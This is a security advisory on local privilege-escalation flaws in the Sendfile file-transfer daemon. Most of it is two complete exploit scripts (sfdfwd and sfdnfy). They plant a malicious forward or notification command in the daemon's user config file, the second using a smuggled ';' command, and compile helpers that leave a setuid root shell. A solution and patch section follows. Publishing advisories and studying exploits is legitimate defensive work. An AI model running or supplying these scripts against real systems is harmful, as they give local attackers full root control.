COMMAND

    sendfile

SYSTEMS AFFECTED

    Sendfile 2.1 (Debian Linux 2.2), 1.6, 1.5, 1.4

PROBLEM

    Sendfile is  an implementation  of the  SAFT (simple  asynchronous
    file transfer) protocol for UNIX systems.

    Due to  a problem  dropping privileges  completely before  running
    user-specified post-processing  commands in  the Sendfile  daemon,
    it may be possible for a local user to execute arbitrary  commands
    with elevated privileges.

    A vulnerability exists in the Sendfile asynchronous file  transfer
    daemon.  Failure by the sendfile daemon (sendfiled) to validate  a
    user-supplied  configuration  value  could  allow  a local user to
    execute arbitrary  code and  gain group  0 privileges.   This  may
    lead to a further compromise on some systems.

    There is also a serialization error which can result in privileges
    not being dropped properly.   In conjunction with such  behaviour,
    this vulnerability can be used to obtain user root privileges.  If
    exploited, it would be a complete system compromise.

    'psheep'  sent  two  simple  scripts which exploit vulnerabilities
    which exist  in the  some versions  of the  Sendfile daemon,  both
    allow a local attacker to gain superuser privileges.

    The bug exploited by sfdfwd.sh was supposed to have been fixed  by
    the patches  provided in  Debian Security  Advisory DSA-050-1  and
    then DSA-052-1 and was reported by Colin Phipps in November  2000,
    somehow it  has still  not been  fixed.   The second  bug has been
    reported (without any  success) to Debian,  it is the  result of a
    serialization error combined with a lack of error checking.

    #!/bin/sh
    #
    # sfdfwd - Sendfile daemon local arbitrary command execution vulnerability
    #
    # references:
    #   http://www.securityfocus.com/bid/2645
    #   http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=76048
    #
    # 04/24/01 psheep
    
    SFUSER=$USER
    SFHOST=localhost
    SFPORT=saft
    SFSPOOL=/var/spool/sendfile
    SFUSERCFG="$SFSPOOL/$SFUSER/config/config"
    
    echo "Sendfile daemon local arbitrary command execution exploit"
    echo
    echo "  username        = $SFUSER"
    echo "  spool directory = $SFSPOOL"
    echo "  config file     = $SFUSERCFG"
    echo "  target hostname = $SFHOST"
    echo "  target port     = $SFPORT"
    echo
    
    if ! test -d $SFSPOOL; then
      echo "** unable to locate the sendfile spool directory, exiting"
      exit 1
    fi
    
    sfsavedcfg="no"
    
    if ! test -d $SFSPOOL/$SFUSER || ! test -d $SFSPOOL/$SFUSER/config; then
      echo "** attempting to create sendfile spool directory for $SFUSER"
      echo
      (sleep 1;echo "TO $SFUSER";sleep 2) | telnet $SFHOST $SFPORT
      echo
    else
      if test -f $SFUSERCFG; then
        echo "** backing up your sendfile daemon configuration file"
        mv $SFUSERCFG $SFSPOOL/$SFUSER/config/config.tmp
        sfsavedcfg="yes"
      fi
    fi
    
    cat > sfdfwd.c << EOF
    #include <unistd.h>
    #include <stdlib.h>
    
    int main() {
        setreuid(0,0);
        setgid(0);
        system("chown root.root $PWD/sfdsh;chmod 4755 $PWD/sfdsh");
    }
    EOF
    
    cat > sfdsh.c << EOF
    #include <unistd.h>
    
    int main() {
        setreuid(0,0);
        setgid(0);
        execl("/bin/sh", "sh", NULL);
    }
    EOF
    
    echo "** compiling helper application as $PWD/sfdfwd"
    cc -o $PWD/sfdfwd $PWD/sfdfwd.c
    
    if ! test -x $PWD/sfdfwd; then
      echo "** compilation failed, exiting"
      exit 1
    fi
    
    echo "** compiling shell wrapper as $PWD/sfdsh"
    cc -o $PWD/sfdsh $PWD/sfdsh.c
    
    if ! test -x $PWD/sfdsh; then
      echo "** compilation failed, exiting"
      exit 1
    fi
    
    echo "** inserting commands into temporary configuration file"
    echo "forward = |$PWD/sfdfwd" >$SFUSERCFG
    
    echo "** attempting attack against sendfile daemon..."
    echo
    
    (sleep 1;cat << EOF
    FROM $USER
    TO $USER
    FILE boom$RANDOM
    SIZE 0 0
    DATA
    QUIT
    EOF
    sleep 2) | telnet $SFHOST $SFPORT
    echo
    
    if test "x$sfsavedcfg" = xyes; then
      echo "** restoring backed up configuration file"
      mv $SFSPOOL/$SFUSER/config/config.tmp $SFUSERCFG
    else
      echo "** removing temporary configuration file"
      rm $SFUSERCFG
    fi
    
    echo "** done, the shell wrapper should be suid root"
    echo
    exit 1

    Second script:

    #!/bin/sh
    #
    # sfdnfy - Sendfile daemon local arbitrary command execution vulnerability
    #
    # references:
    #   http://www.securityfocus.com/bid/2652
    #   http://www.securityfocus.com/bid/2631
    #
    # 04/24/01 psheep
    
    SFUSER=$USER
    SFHOST=localhost
    SFPORT=saft
    SFSPOOL=/var/spool/sendfile
    SFUSERCFG="$SFSPOOL/$SFUSER/config/config"
    
    echo "Sendfile daemon local arbitrary command execution vulnerability"
    echo
    echo "  username        = $SFUSER"
    echo "  spool directory = $SFSPOOL"
    echo "  config file     = $SFUSERCFG"
    echo "  target hostname = $SFHOST"
    echo "  target port     = $SFPORT"
    echo
    
    if ! test -d $SFSPOOL; then
      echo "** unable to locate the sendfile spool directory, exiting"
      exit 1
    fi
    
    sfsavedcfg="no"
    
    if ! test -d $SFSPOOL/$SFUSER || ! test -d $SFSPOOL/$SFUSER/config; then
      echo "** attempting to create sendfile spool directory for $SFUSER"
      echo
      (sleep 1;echo "TO $SFUSER";sleep 2) | telnet $SFHOST $SFPORT
      echo
    else
      if test -f $SFUSERCFG; then
        echo "** backing up your sendfile daemon configuration file"
        mv $SFUSERCFG $SFSPOOL/$SFUSER/config/config.tmp
        sfsavedcfg="yes"
      fi
    fi
    
    cat > sfdnfy.c << EOF
    #include <unistd.h>
    #include <stdlib.h>
    
    int main() {
        setreuid(0,0);
        setgid(0);
        system("chown root.root $PWD/sfdsh;chmod 4755 $PWD/sfdsh");
    }
    EOF
    
    cat > sfdsh.c << EOF
    #include <unistd.h>
    
    int main() {
        setreuid(0,0);
        setgid(0);
        execl("/bin/sh", "sh", NULL);
    }
    EOF
    
    echo "** compiling helper application as $PWD/sfdnfy"
    cc -o $PWD/sfdnfy $PWD/sfdnfy.c
    
    if ! test -x $PWD/sfdnfy; then
      echo "** compilation failed, exiting"
      exit 1
    fi
    
    echo "** compiling shell wrapper as $PWD/sfdsh"
    cc -o $PWD/sfdsh $PWD/sfdsh.c
    
    if ! test -x $PWD/sfdsh; then
      echo "** compilation failed, exiting"
      exit 1
    fi
    
    echo "** inserting commands into temporary configuration file"
    echo "notification = mail $USER;$PWD/sfdnfy" >$SFUSERCFG
    
    echo "** attempting attack against sendfile daemon..."
    echo
    
    (sleep 1;cat << EOF
    FROM $USER
    TO $USER
    FILE boom$RANDOM
    SIZE 0 0
    DATA
    FILE boom$RANDOM
    SIZE 1 0
    DATA
    EOF
    sleep 2) | telnet $SFHOST $SFPORT
    echo
    
    if test "x$sfsavedcfg" = xyes; then
      echo "** restoring backed up configuration file"
      mv $SFSPOOL/$SFUSER/config/config.tmp $SFUSERCFG
    else
      echo "** removing temporary configuration file"
      rm $SFUSERCFG
    fi
    
    echo "** done, the shell wrapper should be suid root after the mailer is done"
    echo
    exit 1

SOLUTION

    Not vulnerable  has been  found Sendfile  Sendfile 2.1a  on Debian
    Linux 2.2.

    A workaround is to disable the "automatic post-processing of files
    by the local user" in  the Sendfile daemon configuration file,  by
    setting  'piping'  to  'off.'   Upgrade  to  Sendfile  version 2.1
    revision 20010124 or higher.  Debian has released updated packages
    and a  source-code patch  for its  'potato' distribution, although
    they do not appear to adequately address this issue.

    Patch:

        ftp://ftp.belwue.de/pub/unix/sendfile/current/sendfile-20010216.tar.gz